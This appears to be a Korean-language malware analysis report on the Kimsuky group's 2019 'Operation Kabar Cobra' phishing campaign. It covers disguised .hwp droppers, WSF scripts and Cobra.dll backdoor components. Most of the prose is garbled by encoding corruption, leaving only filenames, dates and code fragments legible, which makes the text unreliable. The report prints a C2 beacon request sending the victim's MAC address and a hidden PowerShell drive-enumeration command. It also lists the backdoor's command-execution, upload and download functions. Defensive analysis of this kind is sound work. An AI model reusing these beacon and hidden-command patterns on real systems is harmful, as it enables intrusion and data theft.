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ˌ⅝ 

ϱ 2019Ц 1∩ 7▀, ▀Ṩ ░͙▫Ѿ╙ ҍỮ╖ᴛ ῸἛתּ ӥʺ Ṩӈ ᶉ▀╪ ḛἾӆѻ. ҉ ᶉ▀̓

ῸἛ ӥѤ ╪ᵐḕ Kimsuky(͟ὡ  ֞Ѥ ὡ )ᴛ ṬᵙѤ ̑˶ ͎ᴹ╥ ˦╖ᴛ ♬ӈѻ.  

 

ḛ תּͥ◓ Kimsuky ̑˶ ͎ᴹ╘ 2019Ц בϱ 2013Ц ╛ ῼᴎֿתּ ˭ ҿ ̆ ▓ѻ.  ͐⁄

Ѥ Ⱡ2  ṩḈ ♬Ữ ҅╙  ӎ̆ לṉ̰ ϿṨ╥ ḙ╞⁄ ҍ  ♬Ṓᵑ ὡ︡ Ѥ , ͔╔ Ṫ‒₮  

 Ṫ‒ᵑ ҍỮ╖ᴛ ּתἶ♠╬ ̑˶╙ ᾎҵ ̆ ▓ѻ. 

 

ṕ Ṓ̆ἌѤ Kimsuky ͎ᴹ╪ Ḥ ᴛ ּתᶜӇѤ ᾐ ♠ ̑˶ Ợᴗᵑ ỮἝ  ṪἍ ̆, ̑˶ ͎ᴹ╙ 

♬  ͙ὥ♠ ͐˞ᵑ Ἄὥ ѻ.  
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₡ ᴆ╪Ἢ ḕ Ẅג(Operation Kabar Cobra)  

Kimsuky ͎ᴹ╘ ♬Ṓ ὡ︡╥ ᶜ♠╖ᴛ ̱Ợ ̕ᴐ Ṫ‒₮ …ᴝỢᵑ ּתἶ♠╖ᴛ ̑˶ ̆ ▓Ѥ ʺ⇔ҥ 

͐⁄Ѥ ͔♣♠ ╪Ӧ╙ ᶜ♠╖ᴛ   ᵑ  ѻ‚  ụ‰ Ṫ‒⁄ ♠ ̑˶╙ ҍ ̆ ▓ѻ. 

╪ ̓♬⁄Ἄ ѻὡ╥ ῸἛ ӥᵑ ┬ Ѥҥ, ▀Ṩ ̑˶⁄Ἄ řCobraŚגѤ ╪ᵒ╥ ▀̓ řKABARŚגѤ ᷾

ᾅ ᶷ▫⁸╪ ╬Ӈ‴ѻ.  

 

 

[͎ᵝ 1] Cobra.dll 3  ▀⁄Ἄ ╬ӈ KABAR ᷾ ᾅ ᶷ▫⁸ 

 

╪ᵑ ҍᴛ Όף╘ Kimsuky ͎ᴹ╪ ͎ Ḥ ᴛ ♬ӇѤ ͐ ▀ᴐ╥ ♠ ̑˶╙ ř₡ ᴆ╪Ἢ ḕ 

Ẅג(Operation Kabar Cobra)Śᴛ ᶘᶘ ѻ.  

 

 

 

 

 

ῸἛ ӥ ỮἝ ṪἍ 

1. ̑˶ ҍỮṊ ӥᴠ (Dropper) ṪἍ 

Όף ᾎ ᵙ ҍ╞ἡ (AhnLab Security Emergency response Center, ASEC)Ѥ Kimsuky ͎ᴹ╥ ҿ╖ᴛ 

Ṓ╪Ѥ ̑˶ ᾎҵᵑ ּתἶ♠╖ᴛ ᶛѱ ᵠ ḓ ṪἍ ₵ѻ. [  1]╘ 2018Ц 12∩Ṩ  ₤  1∩ Ợ╪⁄ 

ASEC╪ ╬  Kimsuky ̑˶ ͎ᴹ╥ ῸἛ ӥ(ӥᴠ , Dropper)₮ ̑˶ ҍỮ╙ ⅝–  ˦╪ѻ.  
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Ḙ˵ ᾋ͖ ╪ᶕ ⌐◌ ╪ ᾌ ̎˳ Ҋừ 

2018.12.26 2019 Ợ‰́ Ἄ.hwp{̑ḥ}.exe 

͒(.hwp) 

(ROTC 2018 ♬͙ ) 

̱Ợ ̕ᴐ Ṫ‒ 

(ROTC) 

2019.01.07 
ḈӰ‡ ̾ᴏ╪ҿæ-С ᴇᾅ, ┬

Ẅ.hwp{̑ḥ}.exe 

͒(.hwp) 

 (ᶷ   Ỹ ́) 

…ᴝ Ṫ‒ 

( ▀Ṩ ͙▫Ѿ) 

 ᴮ.hwp{̑ḥ}.scr▫⁷̯-̰אַ 2019.01.20

͒(.hwp) 

ᴐ ҶἌ₮ ⁴̕ ̰אַ)  ╥ ὣ

Ἄ) 

Ḉ ╬ 

[  1] ̑˶ ҍỮṊ ӥᴠ  ▀ᶘ ḓ ─◑ ▀ ᾏ 

(* ▀ ḛ˸ ᾎ͙₮ ᾒⱠ ┬  ᾎ͙Ѥ Ữ╪  ὡ ▓╛) 

 

̑˶▫Ѥ ͒(hwp) ᶷἌ ῷ╪ ╖ᴛ ─◑ Ѥ , ▀ ╪ᵒ⁄ ╪ַא ◑▫ᵑ ♠↔ ѻ.  ◑▫ 

Ợ╪⁄ ѻὡ╥ ̑ḥ╙ ʺ  ̑˶ ҍỮ╪ ὺ˭ ῼῷ ᵙּת ᶣ ˭ ѻ. ╪ᴛᾬ  ṨṪ╥ .hwp ◑

▫ᵣ Ṓ╪˭ ╖Ϯ, ▀╥ ᾒⱠ ◑▫Ѥ ̑ḥ Ӛ⁄ ─ ̆ ▓Ѥ .exeϮ .scr╪ѻ. 

 

┌ҵ↕(Windows)╥ җ ₪Ἢ Ṓ͙ ἒ♬⁄ ӻגἌ ╪ʺ ▓ּתᵣ ▀ḙ♠╖ᴛ ҍṨṪ╥ Ợ↔▫Ѥ ͙ṕ 

ἒ♬╬ ῼᴎֿב ▀ ᾏ╥ ▀ ◑ᶘ ὦ͙͙ Ữ ᵑ ┬ּת ̆ ▓ѻ. ӻגἌ [  1]̓ ˉ╘ ╪ᵒ╥ 

▀╙ PC⁄ ѻ⇔ᴛӥ ᶔ ͒(hwp) ▀╬˦ ᴀ Ṓ╬ѻ.  

 

֞  ҉ ῸἛ ӥʺ ᾒ Ӊ ԅ ♬Ữ♠╬ ͒ ▀ ᶷἌ ᴀ Ṓ╪Ѥ ᶔ╪ Ϯ ϱѻ. ╪ԅ Ϯ ϮѤ 

▀╘ ̑˶ ͡╪ ὡᾐ Қ ᶉ▀╪Ϯ ‰ᶴ₮ Ḍ♪  Ͽ↔ ᴀ ─◑ ̆ ▓ѻ.  

 

[  1]⁄ ⅝–  ̑˶ ҍỮṊ ῸἛ ӥ╥ ỮἝ  ͙ѫ̓ ҿ▬ Ḣᾏ╙ ủ Ṓᶔ ѻ╛̓ ˉѻ.  
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(1) ̱Ợ ̕ᴐ Ṫ‒ - Ợ‰́ Ἄ.hwp{̑ḥ}.exe  

 

 

[͎ᵝ 2] ̱Ợ ̕ᴐ ͙̕╙ Яᵛ ῸἛ ӥ ▀  

 

[͎ᵝ 2]Ѥ ̱Ợ ̕ᴐ ͙̕(ROTC)⁄ ┬ ӈ 2019 Ợ‰́ Ἄ.hwp{̑ḥ}.exe ▀ᴛ, ─◑↔ ▀╬ 

1.hwp₮ Ζ ʺ ῸἛ ӥ ѻ⇔ᴛӥ ḓ C&C ᾐ Ӯ Ὸ╥♠╬ ὡ Ѥ ῸἛ ᾅ ᵞ  2ꜙ(2.wsf, 

3.wsf)╖ᴛ ̯ἛӇ‡ ▓ѻ.  

 

 

[͎ᵝ 3] ─◑↔ ▀ 1.hwp╥ Ͽ↔ 

 

 

̑˶ ͡╙ ἶ╪͙ ─  ─◑↔ ▀╬ 1.hwpѤ [͎ᵝ 3]̓ ˉ╪ ̑˶ ҍỮ̓ ̕ᴐӈ Ͽ↔╙ ̆ 

▓ѻ. ̑˶▫Ѥ ᾒⱠ Ⱶ◓ Ѥ Ợ ╪ᵒ╙ ҵ↔  ̑˶ ͡╥ ╥ᾔ╙ ̆▫ ѻ.  
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(2) …ᴝ Ṫ‒ - ḈӰ‡ ̾ᴏ╪ҿæ-С ᴇᾅ, ┬ Ẅ.hwp{̑ḥ}.exe (2019.01.07) 

 

2019Ц 1∩ 7▀⁄ ▀Ṩ ͙▫Ѿ╙ ҍỮ╖ᴛ [͎ᵝ 4]₮ ˉ╘ Ͽ↔╥ ╪ᶉ▀╪ ḛἾӇ‴ѻ.  

 

 ʹ ḛἾ▫: ┼**(human-ad@hanmail.net) 

 

 ʹ Ⱡᶜ: RE: TF ̆▫ᴮ 

 

 ʹ ṕᶷϿ↔:  

  TF ̆ḕחѱѻ 

  *…ᴝỢṊ Ẅנӥ ̕ᴐ Ἄ ̕ᵙ ◄  Ἕ⅝(ẋḴ╘ tf)ל

 

 ʹ Ṩ ▀: TF ̆.zip 

[͎ᵝ 4] …ᴝ ́̕▫ᵑ ҍỮ╖ᴛ ┬ ӈ ῸἛ ᶉ▀╥ Ͽ↔ 

 

҉ ᶉ▀⁄ Ṩӈ    ▀(TF ̆.zip)⁄Ѥ ♬Ữ♠╬ PDF ᶷἌ 2ꜙ(С ᵚᾅ-ḈӰ‡-̯ⱳ₮-╪↔▫-

˿ .pdf, …ᴝỢ Ṋҵ Ẅנӥ.pdf), ╪ַא ◑▫ᵑ ʺֿב ῸἛ ӥ 1ˌ(ḈӰ‡ ̾ᴏ╪ҿæ-С ᴇᾅ, ┬

Ẅ.hwp{̑ḥ}.exe) Ӯ  3ˌ╥ ▀╪ Ӈ‡ ▓ѻ. 

 

 

[͎ᵝ 5] …ᴝ ́̕▫ө⁄˭ ┬ ӈ ῸἛ ӥ  

 

[͎ᵝ 5]⁄Ἄ Ṗ ὡ ▓Ѥ ˦ ᴀ …ᴝ ́̕▫ө⁄˭ ┬ ӈ ῸἛ ӥ╥ Ѥ  Ἄ ╬  ̱Ợ ͙̕╙ 

Яᵛ ῸἛ ӥ₮ ҿ▀  ᴛ ̯ἛӇ‡ ▓ѻ. ╪ ַא⁄Ἄ ─◑↔ ▀╬ 1.hwpѤ ̑˶ ͡⁄ ᵭ  …

ᴝỢ ⌠Ợ╪ ⁄ ˭ᾎӈ ͙Ợᵑ ҵ↔ ̆ ▓ѻ([͎ᵝ 6] ̆).  
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[͎ᵝ 6] ─◑↔ ▀ 1.hwp╥ (⅍ )̓ ᾒⱠ …ᴝỢ ͙Ợ 

 

 

─⁄Ἄ ủ ṕ ̱Ợ ͙̕ ҍỮ ̑˶ Ợᴗ₮ …ᴝ Ṫ‒ ̑˶ Ợᴗ ᶛӎ ─◑↔ ͒ ▀(.hwp)̓ ῸἛ 

ᾅ ᵞ ʺ ▫ҿ    ᵝ(WinRAR SFX)╖ᴛ   Ӈ‡ ▓ѻ. ҉    ▀╙ ᾒ ᶔ    Ⱡ₮ 

ҿᾎ⁄ [͎ᵝ 7]̓ ˉ╘ ₪Ἢ⁄ ╥  ῸἛ ӥʺ ᾒ ӈѻ. ᾒⱠ ῸἛ ─Ѥ ╪ԅ ᾒ ӈ ῸἛ ᾅ ᵞ

⁄ ╥  ᾎ▬Ӈᶒ, C&C ♬ṒѤ ̑˶▫╥ ̯͒ ӥג╪ẄᴛṨ  ѻ⇔ᴛӥ ѻ.  

 

 

[͎ᵝ 7] ῸἛ ▀╥ Ӯᴜ ♬Ṓ ₉ᾎ 
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(3) ͙ (ḈỮ) - ַ⁷̯-̰א▫ᴮ.hwp{̑ḥ}.scr (2019.01.20) 

 

[  1]╥ ῸἛ ӥ ַא ̑˶ ҍỮ╪ ᶘ ˭ ῸӇּת Ώ╘ ַ⁷̯-̰א▫ᴮ.hwp{̑ḥ}.scrѤ  Ἄ ủ ṕ 

Ợᴗө̓ Ҁᵙ ▀ ̯ⱳ₮ ҿ▬ Ḣᾏ╪ ṉ˿Ӈ‴ѻ. 

 

ᴮ.hwp{̑ḥ}.scrѤ ─◑↔ ▀̓ Ζ C&C ♬Ṓ ▀, ͎ᵙ̆ ῸἛ▫⁷̯-̰אַ ӥᵑ ᵙἵᾅ ᴛ 

ˇ̆ ▓ѻ. ̑˶ ͡╪ ҉ ▀╙ ᾒ ᶔ [͎ᵝ 8]̓ ˉ╪ ῸἛ ӥᵑ ỸἛ ḓ ᾒ ͙ ─  ᵙἵ

ᾅ ̕ᴐ ὡ ẋᴡ  ѻ‚  ὡᵑ ѻ.  

 

 

 

[͎ᵝ 8] ῸἛ ӥ(AlyacMonitor.db )₮ C&C ♬Ṓ ▀(AlyacMonitor.db_ini)  ỸἛ ̓♬ 

 

 

─◑↔ ▀ ⁵ᾎ [͎ᵝ 8]̓ ˉ╘ ̓♬╖ᴛ ỸἛӇ‡ ᶔ⁄ Ϯ ϱѻ. ╪ԅ Ṓ╪Ѥ Ͽ↔╘ [͎ᵝ 9]₮ 

⁵Ợ₮ ̕ᴐӈ  ҵἌ₮ ͎⁄ ҍ ̰אַ ╪ˉ  ʼר  ἵˌᴛ ̯ἛӇ‡ ▓ѻ.  
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[͎ᵝ 9] ─◑↔ ▀(ַ⁷̯-̰א▫ᴮ.hwp)╥ Ͽ↔ 

 

 

 

2. ῸἛ ᾅ ᵞ  ḓ ͙ѫṊ ῸἛ ӥ ṪἍ 

 Ἄ ủ ṕ …ᴝ Ṫ‒ Ợᴗ(ḈӰ‡ ̾ᴏ╪ҿæ-С ᴇᾅ, ┬ Ẅ.hwp{̑ḥ}.exe)ŋ ᾔ╖ᴛ ῸἛ ᾅאַ 

ᵞ ₮ ῸἛ ӥṊ ỮἝ ͙ѫ⁄ ҍ  ủ ṕѻ.  

 

(1) 2.wsf  

2.wsfѤ ῸἛ ӥᵑ ʺᴛ ѻ⇔ᴛӥ ḓ ᾒ ѻ. ╪ԅ ⅝  C&C ♬ṒѤ ̑˶▫╥ ̯͒ ӥג╪Ẅᴛ

Ṩ  ѻ⇔ᴛӥ ѻ. 

 

[͎ᵝ 10] ̑˶▫╥ ̯͒ ӥג╪Ẅ⁄Ἄ C&C ♬Ṓ ѻ⇔ᴛӥ 
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[͎ᵝ 11]╘ ̑˶▫╥ ̯͒ ӥג╪Ẅ⁄ ‰ᴛӥӈ ▀ᴛ, ῸἛ ӥᵑ ѻ⇔ᴛӥ ͙ ─  C&C ♬Ṓʺ 

Ӈ‡ ▓ѻ. ╪ ▀╥ Ͽ↔╘ ̑˶▫⁄ ╥  …Ⱡӧּת ṉ˿Ӊ ὡ ▓ѻ.  

 

▀ḙ♠╖ᴛ ѻ⇔ᴛӥ ͙ѫ╙ ὡ Ѥ ῸἛ ӥѤ ϿṨ⁄ ̆♬ӈ C&C ♬Ṓᵑ ˇ̆ ▓ѻ. ӻגἌ ҉ 

C&C ἌḲʺ ѾӉ ˿↕, ̑˶▫Ѥ Ựᴛ ῸἛ ӥᵑ Ⱡ▬ ⁴ Ḥ ‒ Ѥ Ḵ˞ᴛ∑╪ ▓ѻ. ͎ױϮ 

╪Ḵ Ợᴗ╥ ˿↕, C&C ἌḲʺ ѾӇҗגҵ ̑˶▫Ѥ ▫ᾐ╥ ̯͒ ӥג╪Ẅ⁄ ‰ᴛӥ  ▀╥ Ͽ↔ᵣ 

ṉ˿ ᶔ ῸἛ ӥʺ Ựᴛ⇔ C&C ἌḲ₮ ᾐ ᶒ ּתἶ♠╖ᴛ Ὸ╥♠╬ ͙ѫ╙ ὡ  ὡ ▓ѻ.  

 

 

[͎ᵝ 11] ̑˶▫╥ ̯͒ ӥג╪Ẅ⁄ ‰ᴛӥӈ ▀ 

 

 

, [͎ᵝ 11]╥ Ѿ⁄Ἄ Ṗ ὡ ▓Ѥ ╪ᶉ▀ לἵ(countine.protector.mail@gmail.com) Ѥ ̓˞⁄Ἄ 

ᾗ ᶉ▀ ḛᾐ ́♬╖ᴛ Ợ↔ӈ ḕ ▓ѻ. ╪₮ ̕ᴐ ϱ 2018Ц, ̪┴ Ṫ‒ Ợ╪Ḳ Ό♣ἡתּ   ECSC⁄

Ἄ [͎ᵝ 12]₮ ˉ╘ ̾̆ᶷ╙ ˭ᾎ  ḕ ▓ѻ. 
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[͎ᵝ 12] ̑˶▫ ̕ᴐ ╪ᶉ▀ ́♬⁄ ҍ  2018Ц ṒΌ ̾̆ᶷ 

 

2.wsf̋  ʺᴛ ѻ⇔ᴛӥ  ῸἛ ӥ(brave.ct)Ѥ [͎ᵝ 13]̓ ˉ╘ ̓♬╙ ˞  ṓ ӈѻ. ╪⁄ ╥  

ỸἛӈ Freedom.dll╪ √ὲ╙  ᾒ ӈѻ. Ѿ, ˁ₀ PC̋  64ẋ  ┌ҵ↕ ˿▀ ˿↕ 

AhnLabMon.dllᴛ ỸἛӈѻ. 

 

 

[͎ᵝ 13] ʺᴛ ѻ⇔ᴛӥӈ ῸἛ ӥ ᾒ  ̓♬ 
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(2) 3.wsf 

2.wsf₮ ᵡ Ẅ⁄ ‰ᴛӥӈ ▀ᴛṨ╪גᴛ 3.wsfҵ ̑˶▫╥ ̯͒ ӥתּʺ  C&C ♬Ṓᵑ ѻ⇔ᴛӥ ѻ.  

 

 

[͎ᵝ 14] ̑˶▫╥ ̯͒ ӥג╪Ẅ⁄Ἄ C&C ♬Ṓ ѻ⇔ᴛӥ 

 

Ϯ 2.wsfѤ Ѿὣױ͎  ῸἛ ӥᵑ ʺᴛ ѻ⇔ᴛӥ ̆ ᾒ Ѥ ῸἛ ᾅ ᵞ ╬ ḙᶔ, 3.wsfѤ [  2]

₮ ˉ╪ ѻ‚  ͙ѫ╙ ὡ ѻ.  

 

 ͖Ѩ Ἇᶕ 

1 encode:function(c)  

C&C ἌḲ₮ Ἶὡᾐ Ѥ ҥ╪ ᵑ  

BASE64ᴛ    ֞Ѥ ṓ  ᾎ Ợ↔ 

2 decode:function(c)  

3 _utf8_encode:function(b) 

4 _utf8_decode:function(a) 

5 binaryFileToBase64:function(c) 

6 function delete_file(a)  ▀ ợⱠ 

7 function exec_cmd(c) ᶘᴖ ᾒ  

8 function send_log(a)  

ᴛ͎ ♣Ἶ 

9 function send(b,c)  

10 function  download(c)  ▀ ѻ⇔ᴛӥ 

11 function upload(j,m)  ▀ ‰ᴛӥ 

12 function update()  3.wsf ‰ҥ╪  

[  2] 3.wsf╥ ͙ѫ 
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Όף╪ ṪἍ  ҉ᾎ, C&C ἌḲ₮╥ ᾐ╪ ʺѫ ͙ ԅᶷ⁄ 3.wsf̋  C&C ἌḲ₮ ‡֒˭ ᾐ ╖ᶒ, ̑

˶▫ʺ Ͽᵛ ᶘᴖ╘ ᶴ″╬ּת Ữ҉ ṨṪ Ὸ  ὡ ▓‴ѻ.  

 

3.wsfѤ [  2]⁄ ͙ӈ ͙ѫ╙ ὡ ͙⁄  Ἄ C&C ἌḲᴛṨ  ▫ᾐ╥ Ḳ♣ ♬Ṓᵑ ὡᾐ ⁴ ◓ 

ˁ₀ PC⁄Ἄ ᾒ Ӈ̆ ▓Ѥ ▫ᾐ╥ Ḳ♣̓ ẋ̪ Ѥ ▬‰╙ ὡ ѻ. ᵣ– C&C ἌḲᵑ  ╬  

Ḳ♣ ♬Ṓʺ ◓ Ḳ♣Ṓѻ Ữ─▀ ˿↕ [͎ᵝ 15]₮ ˉ╪ ‰ҥ╪ ӈ 3.wsfŋ  ѻ⇔ᴛӥ ̆ ᾒ ѻ.  

 

 

[͎ᵝ 15] 3.wsf╥ Ḳ♣ ♬Ṓ ẋ̪ ḓ ‰ҥ╪  

 

Όף╥ ṪἍ ҉ᾎ, ҉ ῸἛ ӥʺ C&C ἌḲᴛṨ  ὡᾐ  3.wsf╥ ᾐ Ḳ♣╘ 1.2₄ѻ([͎ᵝ 16] 

̆). 

 

 

[͎ᵝ 16] ṪἍ ҉ᾎ C&C ἌḲᴛṨ  ὡᾐ  3.wsf Ḳ♣ ♬Ṓ 

 

Ḳ♣ ♬Ṓᵑ ╬  ╪  3.wsfѤ C&C ἌḲᴛṨ  ᶘᴖ╙ ὡᾐ ̆ ᾒ ͙ ─  ѻ╛̓ ˉ╘ ᾏ╖

ᴛ גḈ ᵑ ̯Ἓ ѻ. ╪  C&C ἌḲ⁄ GET ⅝ ╙ ̆, ͎⁄ ҍ  ╞҆╖ᴛ C&C ἌḲᴛṨ  

BASE64ᴛ   ӈ ᶘᴖ╙ ὡᾐ ⁴ ᾒ ѻ.  
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- C&Cᶘᴖ╙ ὡᾐ╙ ─  C&Cᴛ ♣ἾӉ ԅ גḈ  ᾏ 

xhr.open(GET,serverurl+/board.php?m=+MAC_ADDR+&v=+VERSION+|+TIMEOUT,false);      

xhr.send(); 

 

C&C ἌḲᴛ ♣Ἶ Ḉג   ᾏ⁄Ἄ 3.wsf╥ Ḳ♣╙ גḈ ᴛ ̯Ἓ Ѥ ╪┬Ѥ ̑˶▫ʺ ◓ ˁ

₀ PC⁄Ἄ ᾒ ╬ ╙♣wsf╥ Ḳ.3 ╬אַ  ̆, Ḳ♣Ṋ ˁ₀ PC ╙ Ὸ ͙ ─  ᶜ♠╖ᴛ Ṓ╬ѻ.  

 

 ʹ MAC_ADDR = ˁ₀PC╥ ᵱלἵ 

 ʹ VERSION = 3.wsf╥ ▀ Ḳ♣ (ex, VERSION=1.2) 

 ʹ TIMEOUT = 3.wsf⁄ ἒ♬ӈ ▐ ῷ∕ ᾎʼ (ex, TIMEOUT=3) 

  

[͎ᵝ 17]╘ 3.wsf̋  C&C ἌḲ₮ ᾐ  Ͽ⁵ ַא ▀Ṩᴛ, 3.wsfʺ C&C ἌḲᴛṨ  ▀ ѻ⇔ᴛӥ ᶘᴖ

╙ ὡᾐ ̆ list.dll ▀╙ ѻ⇔ᴛӥ Ѥ ̓♬╪ѻ. 

  

 

[͎ᵝ 17] 3.wsf╥ C&C ἌḲ ᾐ Ͽ⁵ 1- ῸἛ ӥ ѻ⇔ᴛӥ 

 

╪  ♩╘ 3.wsf╥ ӥ⁄Ѥ [͎ᵝ 17]╥ ̓♬╙ ˞  ѻ⇔ᴛӥ  list.dll(Cobra.dll)ᵑ ᾒ Ѥ ӥʺ 

Ⱶ◓ ṪἍ╙  2.wsf̋ ╘ףϮ Όױ͎ .ΏѤѻѤ ˦╪ѻ תּ  ѻ⇔ᴛӥ  Freedom.dll(AhnLabMon.dll )

╪ ҿ▀  list.dll(Cobra.dll)╙ ѻ⇔ᴛӥ ̆ ᾒ Ѥ ˦╙ ╬ ₄ѻ.  
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(3) list.dll(Cobra.dll)  

Όף╥ ṪἍ ˺̓, list.dll(Cobra.dll)╘ ˁ₀ PC⁄Ἄ ѻ╛̓ ˉ╘ ♬Ṓᵑ ὡ︡ ⁴ C&C ἌḲᴛ ♣Ἶ Ѥ 

Ӯ╥ ⁵ ╙ Ѥ ˦╖ᴛ ╬ӆѻ. 

 

 ʹ ӥג╪Ẅ╥ Ṗᵊ ♬Ṓ ḓ ӥ≢‡ ♬Ṓ Ӧ 

 ʹ җ ḓ ▀ ᶜᴜ ὡ︡ 

 ʹ    ▀ ṓỢ 

 

[͎ᵝ 18]̓ [͎ᵝ 19]Ѥ list.dll(Cobra.dll)╪ ˁ₀ PC⁄Ἄ җ ḓ ▀ ᶜᴜ╙ ὡ︡ ̆ ὡ︡ӈ ♬Ṓᵑ 

C&C ἌḲᴛ ♣Ἶ Ѥ ╪ѻ. 

 

 

[͎ᵝ 18] җ ḓ ▀ ᶜᴜ ὡ︡(⅍ ) ḓ ὡ︡ӈ ♬Ṓ╥ C&C ἌḲ ♣Ἶ(₡ᵐ ) 

 

 

[͎ᵝ 19] C&C ἌḲᴛ ♣Ἶӈ ˁ₀ PC╥ җ ḓ ▀ ᶜᴜ 
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[͎ᵝ 19]⁄Ἄ Ṓ╪Ѥ ˁ₀ PC╥ җ ḓ ▀ ᶜᴜ╪ C&C ἌḲᴛ ♣ἾӇᶔ ̑˶▫Ѥ ѻ╛̓ ˉ╘ ӎ 

↔ ᶜ♠╖ᴛ תּʺ  ὡ ▓ѻ. 

 

(1) ̑˶ ͡╥ PC▀ ˿↕, PC Ⱡ‡ ḓ ַא⅝ ▫ᴮ ┬  

(2) ṪἍʺ╥ PC▀ ˿↕, ṪἍ Ḣ  ŕ ṪἍ  ˆⱠ ꜙᴮ, ─ ͎מ(False Flag) ᾔ͙ Ӯ  

 

Όף╥ ṪἍ ҉ᾎ, ̑˶▫Ѥ (2)Ḵ╥ ᶜ♠╖ᴛ ʺ ᶘᴖ╙ ♣Ἶ ѻ. ̑˶▫Ѥ  Ἄ list.dll(Cobra.dll)╪ 

ὡ︡  PC ♬Ṓᵑ ṪἍ  ˁ₀ PC̋  ṪἍʺ╥ ᾎᾅ ╬ ˦╙ Ὸ  ὡ ▓‴╙ ˦╖ᴛ Ṓ╬ѻ.  

 

[͎ᵝ 20]╘ ̑˶▫ʺ ♣Ἶ  ʺ ᶘᴖ╙ ṓ  ˦╖ᴛ, Όף╪ ṪἍ╙ ─  ҉ ῸἛ ӥ Ỵ ╙ 

♇◑  ˿ᴛᵑ Ṗ ὡ ▓ѻ. ˁ₀ӈ PC̋  ṪἍʺ╥ PC▐╙ ╬  ̑˶▫Ѥ ˁ₀ PC⁄Ἄ ᾒ Ӈ̆ ▓Ѥ 

3.wsf⁄ BASE64ᴛ   ӈ ᶘᴖ╙ ♣Ἶ, cmd ᶘᴖ╙ ╪↔  ♬ ˿ᴛ⁄ Ⱶ◓ Ѥ ᶛӧ ▀╙ ợⱠ

ҵᴜ ѻ.  

 

 

[͎ᵝ 20] 3.wsf╥ C&C ἌḲ ᾐ Ͽ⁵ 2 - cmd ᶘᴖ ᾒ  

 

֞  [͎ᵝ 20]⁄Ἄ Ṗ ὡ ▓Ѥ ˦ ᴀ 3.wsfѤ ᶘᴖ╙ ὡ  ˺̓ᵑ cmd_resultᴛ ♇◑ ⁴ C&C ἌḲ

ᴛ ♣Ἶ ҵᴜ Ӈ‡▓ѻ. ͎ױϮ Όף╥ ṪἍ ҉ᾎ ˁ₀ PC₮ C&C ἌḲ╥ ᾐ ⁄ἌѤ ҉ ᶘᴖ

╥ ˺̓ᵑ ╬  ὡ ′‴ѻ. ѻᵣ, ˁ₀ PC╥ HDD Ṗᵊ ♬Ṓᵑ Ӧ Ѥ ῷמ╥ ᶘᴖ⁄ ҍ  ᾒ  ˺

̓Ѥ [͎ᵝ 21]̓ ˉ╪ cmd_resultᴛ ♇◑ ⁴ C&C ἌḲᴛ ♣Ἶ Ѥ ˦╪ ╬Ӈ‴ѻ. 

- C&C ᾐ ₉ᾎ 3 

//cmd|powershell.exe -windowstyle hidden get -psdrive -psprovider filesystem  
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[͎ᵝ 21] 3.wsf╥ C&C ἌḲ ᾐ Ͽ⁵ 3 -HDD╥ Ṗᵊ ♬Ṓ ♣Ἶ 

 

, Όף ᾎ ᵙ ҍ╞ἡ (ASEC)sms 3.wsf̋  ѻ⇔ᴛӥ  list.dll(Cobra.dll)╙ ṪἍ Ѥ ̓♬⁄Ἄ  ʺ

˸ḛ ╙︣ תּ ѻ. list.dll(Cobra.dll)╘ 2018Ц 12∩ 27▀(13:38:14)⁄ Ⱡ▬Ӈ‴╖ᶒ, ♬ ͙ѫ╙ ᾒ  

ԅᵡѻ OutputDebugStringA() ᵑ ⁴ ӰḲ͎ ᶉᾎּתᵑ ᴏ ѻ. ╪Ѥ ̑˶▫ʺ ╥ҵ  ͙ѫ╪ ♬

Ữ♠╖ᴛ ̯ ӇѤּת ᾅ ͙ ─  ᶜ♠╖ᴛ Ṓ╬ѻ. ֞  [͎ᵝ 22]₮ ˉ╪ C&C ἌḲ₮ ᾐ Ѥ 

ṨṪ⁄ ‡ự  ͒ᴛ ▬Ἓӈ ӰḲ͎ ᶉᾎּת(ř↔2 ╪װᶉʺ ΌЕ╛Ś)ʺ Ⱶ◓ ѻ.  

 

 

[͎ᵝ 22] OutputDebugStringA() ₮ ͒ ӰḲ͎ ᶉᾎּת 

 

̆ᴛ, 2019Ц 1∩ 8▀(03:11:11)⁄ Ⱡ▬ӈ ṉꜙ⁄ἌѤ OutputDebugStringA() ᵑ Ѥ ӥʺ Ⱡ˞

Ӈ‴ѻ([͎ᵝ 23] ̆). 

 

 

[͎ᵝ 23] 2018Ц 12∩ ῸἛ ӥ(⅍ )̓ 2019Ц 1∩ ṉꜙ(₡ᵐ ) 
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(4) Freedom.dll(֞Ѥ AhnLabMon.dll ) 

2.wsf̋  ѻ⇔ᴛӥ  Freedom.dll(AhnLabMon.dll  .ѻˉ ₮מѫ╘ ῷ͙ ⅝ל ╥(

 ʹ ̑˶▫╥ ̯͒ ӥג╪Ẅ⁄Ἄ C&C ἌḲ ♬Ṓ ѻ⇔ᴛӥ 

 ʹ 64ẋ ↔ Freedom.dll(AhnLabMon.dll ) ѻ⇔ᴛӥ ḓ ᾒ  

 ʹ C& Cᴛ ˁ₀ PC ♬Ṓ ♣Ἶ 

 ʹ ῸἛ ӥ ʺ ѻ⇔ᴛӥ ḓ ᾒ  

- ʺ ѻ⇔ᴛӥ ▀ : Cobra_ˁ ₀ PC╥ ᵱלἵ(₉: Cobra_AABBCCDDEEFF)  

 ʹ ˁ₀ PC ♬Ṓᵑ C& C ἌḲᴛ ♣Ἶ 

 

 Ἄ ủ ṕ 2.wsfϮ 3.wsf₮ ˉ╪ Freedom.dll ҵ ̑˶▫╥ ̯͒ ӥג╪Ẅ⁄ ‰ᴛӥӈ ♬ ▀ᴛṨ  

C&C ἌḲ ♬Ṓᵑ ѻ⇔ᴛӥ ѻ.  

 

 

[͎ᵝ 24] ̑˶▫╥ ̯͒ ӥג╪Ẅ⁄Ἄ C&C ѻ⇔ᴛӥ 

 

╪  [͎ᵝ 25]₮ ˉ╪ IsWow64Process()ŋ  ⁴ ˁ₀ PC╥ ⇔₅ Ⱡᵑ ╬  64ẋ ▀ ˿↕ ▫͙

▫ᾐ╥ 64ẋ ↔ Ḳ♣╙ ѻ⇔ᴛӥ ̆ ᾒ ѻ. ֞  DeleteUrlCacheEntryA()ŋ  ⁴ ѻ⇔ᴛӥ 

♠╙ ợⱠ Ѥҥ, ╪Ѥ  Ӱּת  ᴈᾏ╙ ὡ  ˿↕ ῸἛ ӥ ┬░ ˿ᴛ Ӯ╙ Ὸ ᶣ ҵ תּ

ᴜ Ḣ ͙ ─  ᶜ♠╖ᴛ Ṓ╬ѻ. 

[͎ᵝ 25] 64ẋ ↔ ῸἛ ӥ ѻ⇔ᴛӥ ḓ ♠ ợⱠ 
